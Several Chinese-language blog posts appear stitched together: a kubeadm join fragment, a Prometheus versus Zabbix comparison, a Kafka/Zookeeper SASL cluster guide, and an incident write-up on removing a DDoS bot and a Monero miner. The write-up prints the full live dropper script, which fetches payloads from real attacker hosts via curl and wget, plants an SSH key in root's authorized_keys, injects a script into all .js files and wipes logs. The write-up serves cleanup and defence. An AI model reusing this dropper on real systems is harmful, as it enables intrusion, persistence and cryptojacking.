27eee4.6e66ff60318da929 $ openssl x509 -pubkey \ -in /etc/kubernetes/pki/ca.crt | openssl rsa \ -pubin -outform der 2>/dev/null | openssl dgst \ -sha256 -hex | sed ’s/^.* //’ 6d541678b05652e1fa5d43908e75e67376e994c3483d6683f2a18673e5d2a1b0 最后执行 kubeadm join 命令. $ sudo kubeadm join \ --token 27eee4.6e66ff60318da929 \ 10.128.0.3:6443 \ --discovery-token-ca-cert-hash \ sha256:6d541678b05652e1fa5d43908e75e67376e994c3483d6683f2a18673e5d2a1b0 4. 参考文档 GCP Cloud SDK 安装指南 配置 Cloud SDK 以在代理/防火墙后使用 Kubernetes the hard way Linux Academy: Certified Kubernetes Administrator (CKA)
公司要上监控,Prometheus 是最热门的监控解决方案,作为喜新厌旧的程序员,我当然是选择跟风了,但上级更倾向于 Zabbix,那没办法,只能好好对比一番,给出几个靠谱的理由了。 但稍稍深入一点,我就体会到,我之前其实并没有真的理解口口相传的 Prometheus 的优点,这次对比虽然是始于无奈,但还是蛮有意义的,正好总结一下自己粗浅的体会。 1. 对比 先对两者的各自特点进行一下对比: Zabbix Prometheus 后端用 C 开发,界面用 PHP 开发,定制化难度很高。 后端用 golang 开发,前端是 Grafana,JSON 编辑即可解决。定制化难度较低。 集群规模上限为 10000 个节点。 支持更大的集群规模,速度也更快。 更适合监控物理机环境。 更适合云环境的监控,对 OpenStack,Kubernetes 有更好的集成。 监控数据存储在关系型数据库内,如 MySQL,很难从现有数据中扩展维度。 监控数据存储在基于时间序列的数据库内,便于对已有数据进行新的聚合。 安装简单,zabbix-server 一个软件包中包括了所有的服务端功能。 安装相对复杂,监控、告警和界面都分属于不同的组件。 图形化界面比较成熟,界面上基本上能完成全部的配置操作。 界面相对较弱,很多配置需要修改配置文件。 发展时间更长,对于很多监控场景,都有现成的解决方案。 2015 年后开始快速发展,但发展时间较短,成熟度不及 Zabbix。 2. 解析 更进一步的分析两者的主要差异: 2.1 图形化还是配置文件 Zabbix 的图形化配置毫无疑问是完爆 Prometheus 的,但这真的是个优势吗? 细想起来还真未必。图形化确实省去了手动改配置文件和命令行的繁琐,但这种努力毫无疑问是已经做出了需要人工介入的假设。但 Prometheus 是为云原生环境而生的,这种情况下,环境是动态变化的,服务器会随时增减,人工介入不太现实,那么图形化在这种情况下意义就不大了,毕竟要做自动化,那就不必要过图形界面这一道了。这么看来 Prometheus 在图形化方面的简约也是有意的取舍。 2.2 时序数据库还是关系型数据 近几年兴起的监控系统大部分都选择了将数据存储在时序型数据库中,Prometheus 用的就是自研的 TSDB,Zabbix 则用的是 MySQL 或 PostgreSQL。对于时序型数据库我了解不多,粗浅的来看,Prometheus 的时序型数据库在高并发的情况下,读写性能是远高过传统的关系型数据库的,另外还提供了很多内置的基于时间的处理函数,简化数据聚合的难度。也许这不能简单的理解为两种数据库的特性造成的结果,但至少说明,对专门监控场景进行存储优化,是十分必要的。 2.3 服务发现 大家都知道 Prometheus 在收集数据时,采用的 Pull 模型(服务端主动去客户端拉取数据),而以 Zabbix 为代表的传统监控采用的 Push 模型(客户端发送数据给服务端)。Pull 模型在云原生环境中有比较大的优势,原因是分布式系统中,一定是有中心节点知道整个集群信息的,那么通过中心节点就可以完成所有要监控节点的服务发现,去拉取数据就好了;Push 模型倒是省去了服务发现的步骤,但每个被监控的服务都需要内置客户端,还需要配置监控服务端的信息,这加大了部署的难度,Push 模型在 OpenStack 和 Kubernetes 等环境中用的不多。 2.4 开发语言 Golang 和 C 语言的开发对比,这就不用多解释了,不是一个时代的语言,Golang 占绝对优势。PHP 写界面倒是很常规的选择,但无奈 Grafana 写界面都不用编程语言,JSON 和 YAML 就可以搞定。所以真的要做定制开发,Prometheus 的难度要小很多。 3. 总结 Zabbix 的成熟度更高,上手更快,但更好的集成导致灵活性较差,问题更大是,监控数据的复杂度增加后,Zabbix 做进一步定制难度很高,即使做好了定制,也没法利用之前收集到的数据了(关系型数据库造成的问题)。Prometheus 基本上是正相反,上手难度大一些,但由于定制灵活度高,数据也有更多的聚合可能,起步后的使用难度远小于 Zabbix。 比较一番下来,我的建议是,如果是刚刚要上监控系统的话,不用犹豫了,Prometheus 准没错。 但如果已经对传统监控系统有技术积累的话,还是要谨慎考虑:如果监控的是物理机,用 Zabbix 没毛病,或者是环境变动不会很频繁的情况下,Zabbix 也会比 Prometheus 好使;但如果是云环境的话,除非是 Zabbix 玩的非常溜,可以做各种定制,那还是 Prometheus 吧,毕竟人家就是干这个的。 4. 参考文档 What's the difference between Prometheus and Zabbix? Prometheus vs Zabbix Zabbix vs Prometheus What's the difference between Prometheus and Zabbix?
这两天使用的公网服务器被入侵了,而且感染了不止一种病毒:一种是 libudev.so,是 DDoS 的客户端,现象就是不停的向外网发包,也就是超目标发起 DDoS 攻击;另外一种是挖矿程序,除了发包之外,还会造成很高的 CPU 负载。下面记录一下病毒的行为和查杀方法。 1. libudev.so 1.1 病毒特征 这种病毒的特征还是很明显的,进程列表中会出现很多名字很奇怪的进程,如下所示: PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 16430 root 20 0 1408 1204 480 S 0.0 0.0 0:00.00 qfurpuznoegtbv 16429 root 20 0 1408 1204 480 S 0.0 0.0 0:00.00 ygqickkj 16426 root 20 0 1408 1200 480 S 0.0 0.0 0:00.00 fuohkudjxn 16423 root 20 0 1408 1200 480 S 0.0 0.0 0:00.00 haewibkygwtd 16418 root 20 0 1408 1204 480 S 0.0 0.0 0:00.00 guzajbbrdjws ...... 8421 root 20 0 27012 1248 480 S 0.3 0.0 0:05.53 urdivg 除此之外还会在修改 /etc/crontab 和新增文件 /etc/cron.hourly/gcc.sh 来启动定时任务。 /etc/cron.hourly/gcc.sh 内容如下: #!/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done cp /lib/libudev.so /lib/libudev.so.6 /lib/libudev.so.6 这个脚本的内容大概是打开网卡,然后启动 libudev.so。 该程序还会同时启动多个进程来监控 libudev.so 进程是否被杀掉,如果被关掉了,会再把 libudev.so 拉起来,而且这个监控进程为了防止备关掉,还会不停的变换自己的进程名和进程号,这就给查杀带来了更大的难度。 1.2 查杀方法 首先删除 /etc/crontab 文件中的定时任务,并保护该文件不再被病毒修改: $ sudo chattr +i /etc/crontab 然后定位病毒的主进程,这需要通过 top 命令查看,往往 CPU 占用率最高的进程就是了,在我的例子中 8421 就是。定位后让其暂停执行,这时网络发包就会停下来了,同时也不会再不停的生成新进程了。 $ sudo kill -stop 8421 接下来解决病毒产生的自启动文件,注意:具体的文件名称可能会有所不同,大家要根据自己的情况对应修改,领外 /etc/rc*.d/ 的 S01* 文件都是指向 /etc/init.d/ 里的启动脚本的软链接,而且是从 rc1.d 一直到 rc5.d 中都有,因为是软链接,也可以不用删除。 $ rm -r /etc/init.d/yjrfdbdkfs $ rm -r /etc/rc1.d/S01yjrfdbdkfs ...... 病毒启动脚本中调用的可执行文件也要删掉,文件存放在 /bin 和 /usr/bin 目录下,和启动脚本的名字是一致的,另外大家要留意一下是否有其他文件也被做了篡改,可以用时间倒序排列这两个目录下的文件,日期很新的都很有可能是被修改过的,都需要删除。下面这个例子中,dsxictdfoedxaj 文件明显就是有问题的。 $ ls -lrt /bin/ ...... -rwxr-xr-x 1 root root 23152 May 14 12:42 kill lrwxrwxrwx 1 root root 20 Jun 11 12:37 mt -> /etc/alternatives/mt lrwxrwxrwx 1 root root 24 Jun 11 12:37 netcat -> /etc/alternatives/netcat lrwxrwxrwx 1 root root 20 Jun 11 12:37 nc -> /etc/alternatives/nc -rwxr-xr-x 1 root root 562346 Oct 24 13:25 dsxictdfoedxaj $ rm -r dsxictdfoedxaj $ ls -lrt /usr/bin/ ...... -rwxr-xr-x 1 root root 562346 Oct 24 11:32 yjrfdbdkfs -rwxr-xr-x 1 root root 562346 Oct 24 11:32 yjrfdbdkfs.sh $ rm -r /usr/bin/yjrfdbdkfs* 病毒在 /etc/cron.hourly/ 目录下产生的定时任务文件也要删掉, $ rm -r /etc/cron.hourly/*.sh 最后,删掉 libudev.so ,再杀掉进程就算是大功告成了: $ sudo rm -r /lib/libudev.so* $ sudo kill -9 8421 2. XMR 挖矿程序 2.1 病毒特征 第二种病毒是门罗币(XMR)挖矿程序,门罗币似乎是今年年初涨得很快,所以用病毒入侵挖矿的手法也就出现了,病毒主要是通过下载脚本,运行后下载并启动挖矿程序来工作,脚本的内容如下,关于脚本的代码分析见于:XMR恶意挖矿案例简析,里面讲的非常详细。 # cat /etc/shz.sh #!/bin/sh setenforce 0 2>dev/null echo SELINUX=desabled > /etc/sysconfig/selinux 2>/dev/null sync && echo 3 >/proc/sys/vm/drop_caches crondir='/var/spool/cron/'"$USER" cont=`cat ${crondir}` ssht=`cat /root/.ssh/authorized_keys` echo 1 > /etc/gmbpr2 rtdir="/etc/gmbpr2" oddir="/etc/gmbpr" bbdir="/usr/bin/curl" bbdira="/usr/bin/url" ccdir="/usr/bin/wget" ccdira="/usr/bin/get" mv /usr/bin/wget /usr/bin/get mv /usr/bin/curl /usr/bin/url if [ -f "$oddir" ] then pkill zjgw chattr -i /etc/shz.sh rm -f /etc/shz.sh chattr -i /tmp/shz.sh rm -f /tmp/shz.sh chattr -i /etc/gmbpr rm -f /etc/gmbpr else echo "ok" fi if [ -f "$rtdir" ] then echo "goto 1" >> /etc/gmbpr2 grep -q "46j2h" /etc/config.json if [ $? -eq 0 ]; then echo "config ok" else chattr -i /etc/config.json rm -f /etc/config.json fi chattr -i $cont if [ -f "$bbdir" ] then [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir} else [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir} fi [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 700 /root/.ssh/ [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 600 root/.ssh/authorized_keys [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys ps -fe|grep zigw |grep -v grep if [ $? -ne 0 ] then cd /etc outip=`url icanhazip.com` ip=`echo ${outip//./o}` if [ -z "$ip" ]; then outip=`curl icanhazip.com` ip=`echo ${outip//./o}` fi if [ -z "$ip" ]; then ip="unknow" fi filesize=`ls -l zigw | awk '{ print $5 }'` cfg="/etc/config.json" file="/etc/zigw" if [ -f "$cfg" ] then echo "exists config" else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /etc/config.json elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /etc/config.json elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/config.json elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/config.json fi fi if [ -f "$file" ] then if [ "$filesize" -ne "1467080" ] then chattr -i /etc/zigw rm -f zigw if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw fi fi else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw fi fi chmod 777 zigw sed -i "s/unknow/${ip}/g" config.json sleep 5s ./zigw else echo "runing....." fi chmod 777 /etc/zigw chattr +i /etc/zigw chmod 777 /etc/shz.sh chattr +i /etc/shz.sh shdir='/etc/shz.sh' if [ -f "$shdir" ] then echo "exists shell" else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh fi sh /etc/shz.sh fi else echo "goto 1" > /tmp/gmbpr2 chattr -i $cont [[ $cont =~ "shz.sh" ]] || echo "* * * * * sh /tmp/shz.sh >/dev/null 2>&1" >> ${crondir} ps -fe|grep zigw |grep -v grep if [ $? -ne 0 ] then cd /tmp outip=`url icanhazip.com` ip=`echo ${outip//./o}` if [ -z "$ip" ]; then outip=`curl icanhazip.com` ip=`echo ${outip//./o}` fi if [ -z "$ip" ]; then ip="unknow" fi filesize=`ls -l zigw | awk '{ print $5 }'` cfg="/tmp/config.json" file="/tmp/zigw" if [ -f "$cfg" ] then echo "exists config" else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /tmp/config.json elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /tmp/config.json elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/config.json elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/config.json fi fi if [ -f "$file" ] then if [ "$filesize" -ne "1467080" ] then chattr -i /tmp/zigw rm -f zigw if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw fi fi else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw fi fi chmod 777 zigw sed -i "s/unknow/${ip}/g" config.json sleep 5s ./zigw else echo "runing....." fi chmod 777 /tmp/zigw chattr +i /tmp/zigw chmod 777 /tmp/shz.sh chattr +i /tmp/shz.sh shdir='/tmp/shz.sh' if [ -f "$shdir" ] then echo "exists shell" else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /tmp/shz.sh elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /tmp/shz.sh elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/shz.sh elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/shz.sh fi sh /tmp/shz.sh fi fi iptables -F iptables -X iptables -A OUTPUT -p tcp --dport 3333 -j DROP iptables -A OUTPUT -p tcp --dport 5555 -j DROP iptables -A OUTPUT -p tcp --dport 7777 -j DROP iptables -A OUTPUT -p tcp --dport 9999 -j DROP service iptables reload ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9 find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\; history -c echo > /var/spool/mail/root echo > /var/log/wtmp echo > /var/log/secure echo > /root/.bash_history 2.2 查杀方法 病毒的工作方法和上一个是类似的,也是会加载一个任务,并启动多个进程,互相监控和保护,只是细节有些不同。 该病毒定时任务是写进了文件:/var/spool/cron/root,需要对应删除里面的内容。 然后要删除病毒的启动脚本: $ sudo rm /etc/shz.sh 找到病毒的主进程(找到主进程的方式和之前也差不多,找 CPU 占用率最高的进程就可以了。),并停掉: $ sudo kill -stop 23701 24192 删除主进程的配置文件和可执行文件: $ sudo rm /etc/conf.json $ sudo rm /etc/zjgw 删除其他病毒添加的文件: $ sudo rm /etc/conf.n $ sudo rm /etc/zaker 最后杀掉进程即可: $ sudo kill -9 23701 24192 另外 /tmp 目录下也会有一些残留文件,一并删除吧: # ll /tmp/ total 40 drwxrwxrwt 8 root root 4096 Oct 24 03:10 ./ drwxr-xr-x 24 root root 4096 Oct 23 06:18 ../ drwxrwxrwt 2 root root 4096 Sep 26 10:38 .ICE-unix/ drwxrwxrwt 2 root root 4096 Sep 26 10:38 .Test-unix/ drwxrwxrwt 2 root root 4096 Sep 26 10:38 .X11-unix/ drwxrwxrwt 2 root root 4096 Sep 26 10:38 .XIM-unix/ drwxrwxrwt 2 root root 4096 Sep 26 10:38 .font-unix/ -rwxr-xr-x 1 root root 5 Oct 18 13:48 gates.lod* -rwxr-xr-x 1 root root 5 Oct 18 13:48 moni.lod* drwx------ 3 root root 4096 Oct 18 13:47 systemd-private-8292a854ab55417a91c7b42f6360aa75-systemd-timesyncd.service-dTAzr3/ -rw-r--r-- 1 root root 0 Oct 18 13:49 tmp.l # rm gates.lod moni.lod tmp.l 3 总结 本次有多台服务器感染病毒,造成了不小的影响,主要的问题是因为 root 用户使用了强度较弱的口令,同时在公网暴露了 SSH 端口,另外虚拟机的基础镜像中就已经携带了病毒,造成每个产生的实例启动后都带上了病毒。 所以基础的安防工作还是要从以下几个方面入手: 减少公网暴露的端口数量; 禁止使用 root 用户进行 SSH 登录; 加强用户口令的强度; 对基础镜像做安全检查; 加强对线上服务的监控并设置告警规则。 4. 参考资料 XMR恶意挖矿案例简析 金山云安珀实验室千里追踪75万台“肉鸡”控制源 记一次排除十字符libudev.so病毒的过程 FreeBuf
Kafka 最近在 OpenStack 环境下需要部署消息队列集群,包括 RabbitMQ 和 Kafka,这篇记述一下 Kafka 集群的部署过程。 本文所用的环境包括: 软件版本 OpenStack 版本: Pike release Kafka 版本:2.11-2.0.0 Zookeeper 版本:3.4.8-1 虚拟机系统:Ubuntu 16.04 Java 版本:openjdk 1.8.0_181 虚拟机信息: 一共用到三台虚拟机; zookeeper 和 Kafka 共用统一虚拟机; 三台虚拟机信息: hostname:kafka-1,IP:10.0.0.1,ID:1 hostname:kafka-2,IP:10.0.0.2,ID:2 hostname:kafka-3,IP:10.0.0.3,ID:3 注意:由于用到了多台服务器,所以以下操作步骤如无特殊说明,需要在全部三台虚拟机上执行。 0. 服务器配置 在进行 Kafka 和 zookeeper 集群配置之前要先做一些服务器的基础配置,主要是主机名的修改。 首先要先修改 hostname: $ cat /etc/hostname kafka-1/2/3 然后修改 hosts 文件,当然下面文件的内容是根据前面给出的配置信息进行填写的,大家需要根据自己服务器的 IP 和实际主机名进行对应修改。 $ cat /etc/hosts ...... 10.0.0.1 kafka-1 10.0.0.2 kafka-2 10.0.0.3 kafka-3 1. Zookeeper 集群 Kafka 目前专注于消息处理方面的功能,大部分其他能力都是靠外部组件来实现的,比如搭建集群就需要依赖于 zookeeper,鉴权则用到了 Kerberos 和 SASL。所以第一步自然是要搭建 zookeeper 了。 当然 Kafka 是自带 Zookeeper 的,如果用自带 Zookeeper 的方式,可以实现单节点的 Kafka 集群,但本文讨论的是集群环境,所以不详细描述单节点的部署方式。 1.1 zookeeper 集群安装 之所以要用三个虚拟机,是因为 Zookeeper 集群需要至少三个节点才能正常工作,所以 zookeeper 的安装步骤当然是所有三台上都要执行。Zookeeper 用的是 Ubuntu 16.04 的默认版本,所以大家再去安装时,可以版本对不上,这不是问题,基本步骤应该没什么变化。 $ sudo apt update $ sudo apt upgrade -y $ sudo apt install -y openjdk-8-jre $ sudo apt install -y zookeeperd 接下来要修改 zookeeper 的配置信息,第一步是要修改 zoo.cfg 中全部 zookeeper 器群服务器的地址信息。下面配置中的 kafka-* 这部分需要根据大家的环境信息替换为主机名或主机 IP。 $ cat /etc/zookeeper/conf/zoo.cfg ... # specify all zookeeper servers # The fist port is used by followers to connect to the leader # The second one is used for leader election #server.1=zookeeper1:2888:3888 #server.2=zookeeper2:2888:3888 #server.3=zookeeper3:2888:3888 server.1=kafka-1:2888:3888 server.2=kafka-2:2888:3888 server.3=kafka-3:2888:3888 ... 最后要修改 /etc/zookeeper/conf/myid,这个文件就是集群的中的特殊标识,一般来讲,三台服务器的集群,三台服务器分别使用 1、2、3 就可以了。所以为了避免大家配置错误,下面把三台服务器的配置示例都贴了上来。 $ cat /etc/zookeeper/conf/myid # on kafka-1 1 $ cat /etc/zookeeper/conf/myid # on kafka-2 2 $ cat /etc/zookeeper/conf/myid # on kafka-3 3 到这里 zookeeper 的基本配置就完成了。 1.2 SASL 鉴权 完成基本配置后 zookeeper 就可以正常使用了,但问题是只要能访问到 zookeeper 的端口,谁都可以使用,没有校验机制,这是不可接受的。zookeeper 和 kafka 提供了两种安全验证机制:SSL 和 SASL,本文中使用的是 SASL,安全性上应该是 SSL 更好,不过 SASL 配置起来相对简单,所以暂时选用了 SASL。 zookeeper 为了实现 SASL 功能,需要引入一些 JAR 包,我把这些文件上传到了百度云盘,大家可以通过这个链接进行下载:zookeeper-sasl-jar.tar.gz 下载后解压,并放到 zookeeper 的安装目录: $ tar zxvf zookeeper-sasl-jar.tar.gz $ sudo mv sasl /etc/zookeeper/ 然后修改 zoo.cfg 文件: $ cat /etc/zookeeper/conf/zoo.cfg ...... authProvider.1=org.apache.zookeeper.server.auth.SASLAuthenticationProvider requireClientAuthScheme=sasl jaasLoginRenew=3600000 接下来添加 jaas.conf 文件: $ cat /etc/zookeeper/conf/jaas.conf Server { org.apache.kafka.common.security.plain.PlainLoginModule required username="admin" password="admin-sec" user_kafka="kafka-sec" user_producer="prod-sec" user_consumer="cons-sec"; }; 最后修改还需要修改 environment 文件,来加载之前的 jar 文件和 jaas.conf 文件。 $ cat /etc/zookeeper/conf/environment ...... JAVA_OPTS=" -Djava.security.auth.login.config=$ZOOCFGDIR/jaas.conf " for i in "$ZOOCFGDIR"/../sasl/*.jar; do CLASSPATH="$i:$CLASSPATH" done SERVER_JVMFLAGS=" -Djava.security.auth.login.config=$ZOOCFGDIR/jaas.conf " 重启 zookeeper 完成配置: $ sudo systemctl restart zookeeper.service 1.3 修改 systemd service 文件 zookeeper 的默认 systemd service 是自动生成的,为了实现 zookeeper service 启动失败后,可以自动重试,需要对配置文件做些修改。 $ cat /lib/systemd/system/zookeeper.service [Unit] Documentation=customized zookeeper service unit file SourcePath=/etc/init.d/zookeeper Description=LSB: centralized coordination service Before=multi-user.target Before=graphical.target Before=shutdown.target After=remote-fs.target Conflicts=shutdown.target [Service] Type=forking Restart=no TimeoutSec=5min IgnoreSIGPIPE=no KillMode=process GuessMainPID=no RemainAfterExit=yes ExecStart=/etc/init.d/zookeeper start ExecStop=/etc/init.d/zookeeper stop ExecReload=/etc/init.d/zookeeper restart KillMode=process Restart=on-failure RestartSec=5s $ sudo systemctl daemon-reload $ sudo systemctl restart zookeeper.service 1.4 验证 最后验证一下 zookeeper 集群是否正常运行,在三台服务器上分别执行执行脚本 zkServer.sh,集群中应该有显示为 leader,也有显示为 follower 的服务器。 $ /usr/share/zookeeper/bin/zkServer.sh status ZooKeeper JMX enabled by default Using config: /etc/zookeeper/conf/zoo.cfg leader 2. Kafka 集群 Kafka 也是要在全部三台服务器上都要安装,所以没有特殊说明,本节的所有操作在所有节点上都要做。 2.1 Kafka 集群安装 Kafka 没有集成到 APT 中,所以从 Kafka 的官方下载地址下载即可,另外国内的化,改用清华的镜像源会快很多(下面的例子中用的就是清华的下载源)。 $ wget https://mirrors.tuna.tsinghua.edu.cn/apache/kafka/2.0.0/kafka_2.11-2.0.0.tgz $ tar zxvf kafka_2.11-2.0.0.tgz $ sudo mv kafka_2.11-2.0.0 /opt/ $ cd /opt $ sudo ln -s kafka_2.11-2.0.0 kafka 另外 Kafka 的版本查看也颇为个性,一不留神就弄错了。Kafka 是没有一个 $ kafka --version 之类的命令可用,版本完全就是看下载的 Kafka 安装包:kafka_2.11-2.0.0.tgz ,这里面有两个数字,2.11 和 2.0.0,其中 2.11 是 Scala 的版本,2.0.0 才是 Kafka 的版本,大家一定要留意。 接下来配置服务器设置,主要有两点需要注意: 这三个参数都是用来配置 Kafka 的默认 Topic:__consumer_offsets,用来存储消费者状态,这三个参数的默认配置为 1,也就是说数据只有一个备份,这在生产环境下当然是不够安全的,建议改为 3。 offsets.topic.replication.factor=3 transaction.state.log.replication.factor=3 transaction.state.log.min.isr=3 注意替换 <id>,和 zookeeper 的 Myid 文件类似,也是给每个 Kafka broker 节点一个唯一的数字标识,在本文中,由于一共三个节点,每个节点上只有一个 broker,所以三台虚拟机设置为 1, 2, 3 即可。 $ cat /opt/kafka/config/server.properties ...... listeners=SASL_PLAINTEXT://kafka-<id>:9092 zookeeper.connect=kafka-1:2181,kafka-2:2181,kafka-3:2181 broker.id=<id> advertised.listeners=kafka-<id>:9092 offsets.topic.replication.factor=3 transaction.state.log.replication.factor=3 transaction.state.log.min.isr=3 2.2 SASL 设置 Kafka 当然要配置用户名密码,设置方式和上面的 zookeeper 类似。先来讲讲 jaas.conf 文件: KafkaServer 部分是用来让 Kafka broker 之间互连鉴权使用的,username 和 password 是设置当前 broker 自身的用户名密码,user_admin=“admin-sec” 则指明连接其他 broker 时用的用户名是 admin,密码是 admin-sec。 Client 部分是负责设置 Kafka 客户端(也就是 producer 和 consumer,以及一些 metrics exporter),连接 Kafka broker 时使用的密码。 $ cat /opt/kafka/config/jaas.conf KafkaServer { org.apache.kafka.common.security.plain.PlainLoginModule required username="admin" password="admin-sec" user_admin="admin-sec" user_kafka="kafka-sec" user_producer="prod-sec" user_consumer="cons-sec"; }; Client { org.apache.kafka.common.security.plain.PlainLoginModule required username="kafka" password="kafka-sec"; }; jaas 文件配置好后,server.properties 文件也要做对应的修改: $ cat /opt/kafka/config/server.properties ...... listeners=SASL_PLAINTEXT://kafka-<id>:9092 security.inter.broker.protocol=SASL_PLAINTEXT sasl.enabled.mechanisms=PLAIN sasl.mechanism.inter.broker.protocol=PLAIN authorizer.class.name=kafka.security.auth.SimpleAclAuthorizer allow.everyone.if.no.acl.found=true advertised.listeners=SASL_PLAINTEXT://kafka-<id>:9092 因为 Kafka 配置了密码,Kafka 的客户端连接 broker 也需要设置响应的密码,所以 consumer 和 producer 的配置里也要加上这些信息才能正常使用。 $ cat /opt/kafka/config/producer.properties ...... security.protocol=SASL_PLAINTEXT sasl.mechanism=PLAIN sasl.jaas.config=org.apache.kafka.common.security.plain.PlainLoginModule required \ username="kafka" \ password="kafka-sec"; $ cat /opt/kafka/config/consumer.properties ...... security.protocol=SASL_PLAINTEXT sasl.mechanism=PLAIN sasl.jaas.config=org.apache.kafka.common.security.plain.PlainLoginModule required \ username="kafka" \ password="kafka-sec"; 2.3 systemd service 文件 要保证 Kafka 能够每次虚拟机重启后都能自动启动,并且服务失败后,也会尝试重启,就要使用 systemd 来进行管理了,添加如下文件,并重启 Kafka。 $ cat /lib/systemd/system/kafka.service [Unit] Description=Apache Kafka server (broker) Documentation=http://kafka.apache.org/documentation.html Requires=network.target remote-fs.target After=network.target remote-fs.target [Service] Type=simple User=root Group=root Environment=JAVA_HOME=/usr/lib/jvm/java-1.8.0-openjdk-amd64 Environment=KAFKA_OPTS=-Djava.security.auth.login.config=/opt/kafka/config/jaas.conf ExecStart=/opt/kafka/bin/kafka-server-start.sh /opt/kafka/config/server.properties ExecStop=/opt/kafka/bin/kafka-server-stop.sh ExecReload=/bin/kill -HUP $MAINPID KillMode=process Restart=on-failure RestartSec=5s [Install] WantedBy=multi-user.target $ sudo systemctl enable kafka.service $ sudo systemctl start kafka.service 2.4 验证 